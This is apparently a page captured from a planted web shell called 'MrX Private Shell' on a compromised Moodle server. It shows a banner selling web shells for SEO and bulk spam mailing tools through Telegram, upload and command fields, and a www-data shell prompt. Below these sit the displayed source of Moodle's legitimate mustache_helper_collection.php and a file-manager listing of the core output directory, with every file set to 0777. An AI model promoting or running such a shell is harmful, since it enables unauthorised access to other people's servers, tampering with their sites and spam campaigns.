__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core\output;

/**
 * Custom Moodle helper collection for mustache.
 *
 * @package core
 * @copyright  2019 Ryan Wyllie <ryan@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class mustache_helper_collection extends \Mustache_HelperCollection {
    /**
     * @var string[] Names of helpers that aren't allowed to be called within other helpers.
     */
    private $disallowednestedhelpers = [];

    /**
     * Helper Collection constructor.
     *
     * Optionally accepts an array (or Traversable) of `$name => $helper` pairs.
     *
     * @throws \Mustache_Exception_InvalidArgumentException if the $helpers argument isn't an array or Traversable
     *
     * @param array|\Traversable $helpers (default: null)
     * @param string[] $disallowednestedhelpers Names of helpers that aren't allowed to be called within other helpers.
     */
    public function __construct($helpers = null, array $disallowednestedhelpers = []) {
        $this->disallowednestedhelpers = $disallowednestedhelpers;
        parent::__construct($helpers);
    }

    /**
     * Add a helper to this collection.
     *
     * This function has overridden the parent implementation to provide disallowing
     * functionality for certain helpers to prevent them being called from within
     * other helpers. This is because the JavaScript helper can be used in a
     * security exploit if it can be nested.
     *
     * The function will wrap callable helpers in an anonymous function that strips
     * out the disallowed helpers from the source string before giving it to the
     * helper function. This prevents the disallowed helper functions from being
     * called by nested render functions from within other helpers.
     *
     * @see \Mustache_HelperCollection::add()
     * @param string $name
     * @param mixed  $helper
     */
    public function add($name, $helper) {

        $disallowedlist = $this->disallowednestedhelpers;

        if (is_callable($helper) && !empty($disallowedlist)) {
            $helper = function ($source, \Mustache_LambdaHelper $lambdahelper) use ($helper, $disallowedlist) {

                // Temporarily override the disallowed helpers to return nothing
                // so that they can't be executed from within other helpers.
                $disabledhelpers = $this->disable_helpers($disallowedlist);
                // Call the original function with the modified sources.
                $result = call_user_func($helper, $source, $lambdahelper);
                // Restore the original disallowed helper implementations now
                // that this helper has finished executing so that the rest of
                // the rendering process continues to work correctly.
                $this->restore_helpers($disabledhelpers);
                // Lastly parse the returned string to strip out any unwanted helper
                // tags that were added through variable substitution (or other means).
                // This is done because a secondary render is called on the result
                // of a helper function if it still includes mustache tags. See
                // the section function of Mustache_Compiler for details.
                return $this->strip_disallowed_helpers($disallowedlist, $result);
            };
        }

        parent::add($name, $helper);
    }

    /**
     * Disable a list of helpers (by name) by changing their implementation to
     * simply return an empty string.
     *
     * @param  string[] $names List of helper names to disable
     * @return \Closure[] The original helper functions indexed by name
     */
    private function disable_helpers($names) {
        $disabledhelpers = [];

        foreach ($names as $name) {
            if ($this->has($name)) {
                $function = $this->get($name);
                // Null out the helper. Must call parent::add here to avoid
                // a recursion problem.
                parent::add($name, function () {
                    return '';
                });

                $disabledhelpers[$name] = $function;
            }
        }

        return $disabledhelpers;
    }

    /**
     * Restore the original helper implementations. Typically used after disabling
     * a helper.
     *
     * @param  \Closure[] $helpers The helper functions indexed by name
     */
    private function restore_helpers($helpers) {
        foreach ($helpers as $name => $function) {
            // Restore the helper functions. Must call parent::add here to avoid
            // a recursion problem.
            parent::add($name, $function);
        }
    }

    /**
     * Parse the given string and remove any reference to disallowed helpers.
     *
     * E.g.
     * $disallowedlist = ['js'];
     * $string = "core, move, {{#js}} some nasty JS hack {{/js}}"
     * result: "core, move, {{}}"
     *
     * @param  string[] $disallowedlist List of helper names to strip
     * @param  string $string String to parse
     * @return string Parsed string
     */
    public function strip_disallowed_helpers($disallowedlist, $string) {
        $starttoken = \Mustache_Tokenizer::T_SECTION;
        $endtoken = \Mustache_Tokenizer::T_END_SECTION;
        if ($endtoken == '/') {
            $endtoken = '\/';
        }

        $regexes = array_map(function ($name) use ($starttoken, $endtoken) {
            // We only strip out the name of the helper (excluding delimiters)
            // the user is able to change the delimeters on a per template
            // basis so they may not be curly braces.
            return '/\s*' . $starttoken . '\s*' . $name . '\W+.*' . $endtoken . '\s*' . $name . '\s*/';
        }, $disallowedlist);

        // This will strip out unwanted helpers from the $source string
        // before providing it to the original helper function.
        // E.g.
        // Before:
        // "core, move, {{#js}} some nasty JS hack {{/js}}"
        // After:
        // "core, move, {{}}".
        return preg_replace_callback($regexes, function () {
            return '';
        }, $string);
    }

    /**
     * @deprecated Deprecated since Moodle 3.10 (MDL-69050) - use {@see strip_disallowed_helpers}
     */
    public function strip_blacklisted_helpers() {
        throw new \coding_exception('\core\output\mustache_helper_collection::strip_blacklisted_helpers() has been removed.');
    }
}

Filemanager

Name Type Size Permission Actions
action_menu Folder 0777
actions Folder 0777
dynamic_tabs Folder 0777
local Folder 0777
progress_trace Folder 0777
renderer_factory Folder 0777
requirements Folder 0777
action_link.php File 4.86 KB 0777
action_menu.php File 23.57 KB 0777
activity_header.php File 8.63 KB 0777
bootstrap_renderer.php File 12.05 KB 0777
checkbox_toggleall.php File 4.93 KB 0777
choicelist.php File 9.42 KB 0777
chooser.php File 3.78 KB 0777
chooser_item.php File 3.12 KB 0777
chooser_section.php File 2.25 KB 0777
comboboxsearch.php File 6.74 KB 0777
context_header.php File 6.01 KB 0777
core_renderer.php File 194.2 KB 0777
core_renderer_ajax.php File 5.7 KB 0777
core_renderer_cli.php File 9.34 KB 0777
core_renderer_maintenance.php File 7.86 KB 0777
custom_menu.php File 7.03 KB 0777
custom_menu_item.php File 7.88 KB 0777
datafilter.php File 3.45 KB 0777
dynamic_tabs.php File 2.26 KB 0777
external.php File 8.11 KB 0777
file_picker.php File 3.65 KB 0777
help_icon.php File 4.37 KB 0777
html_writer.php File 34.28 KB 0777
icon_system.php File 5.25 KB 0777
icon_system_font.php File 1.53 KB 0777
icon_system_fontawesome.php File 26.92 KB 0777
icon_system_standard.php File 1.28 KB 0777
image_icon.php File 1.27 KB 0777
initials_bar.php File 4.94 KB 0777
inplace_editable.php File 9.84 KB 0777
js_writer.php File 5.42 KB 0777
language_menu.php File 5.67 KB 0777
mustache_clean_string_helper.php File 2.17 KB 0777
mustache_engine.php File 2.62 KB 0777
mustache_filesystem_loader.php File 2.35 KB 0777
mustache_helper_collection.php File 6.96 KB 0777
mustache_javascript_helper.php File 1.9 KB 0777
mustache_pix_helper.php File 2.45 KB 0777
mustache_quote_helper.php File 1.87 KB 0777
mustache_shorten_text_helper.php File 1.76 KB 0777
mustache_string_helper.php File 2.31 KB 0777
mustache_template_finder.php File 4.12 KB 0777
mustache_template_source_loader.php File 14.9 KB 0777
mustache_uniqid_helper.php File 1.56 KB 0777
mustache_user_date_helper.php File 1.83 KB 0777
named_templatable.php File 1.23 KB 0777
notification.php File 6.41 KB 0777
paging_bar.php File 8.97 KB 0777
participants_action_bar.php File 8.83 KB 0777
pix_emoticon.php File 1.71 KB 0777
pix_icon.php File 4.89 KB 0777
pix_icon_font.php File 2.9 KB 0777
pix_icon_fontawesome.php File 1.21 KB 0777
plugin_renderer_base.php File 5.86 KB 0777
preferences_group.php File 1.62 KB 0777
preferences_groups.php File 1.47 KB 0777
progress_bar.php File 8.54 KB 0777
progress_trace.php File 1.68 KB 0777
renderable.php File 1.24 KB 0777
renderer_base.php File 16.75 KB 0777
routed_error_handler.php File 1.69 KB 0777
select_menu.php File 6.68 KB 0777
single_button.php File 7.88 KB 0777
single_select.php File 9.43 KB 0777
sticky_footer.php File 4.5 KB 0777
stored_progress_bar.php File 10.39 KB 0777
tabobject.php File 5.11 KB 0777
tabtree.php File 3.37 KB 0777
templatable.php File 1.75 KB 0777
theme_config.php File 84.2 KB 0777
theme_usage.php File 4.32 KB 0777
url_rewriter.php File 1.6 KB 0777
url_select.php File 9.63 KB 0777
user_picture.php File 13.98 KB 0777
xhtml_container_stack.php File 5.79 KB 0777
Filemanager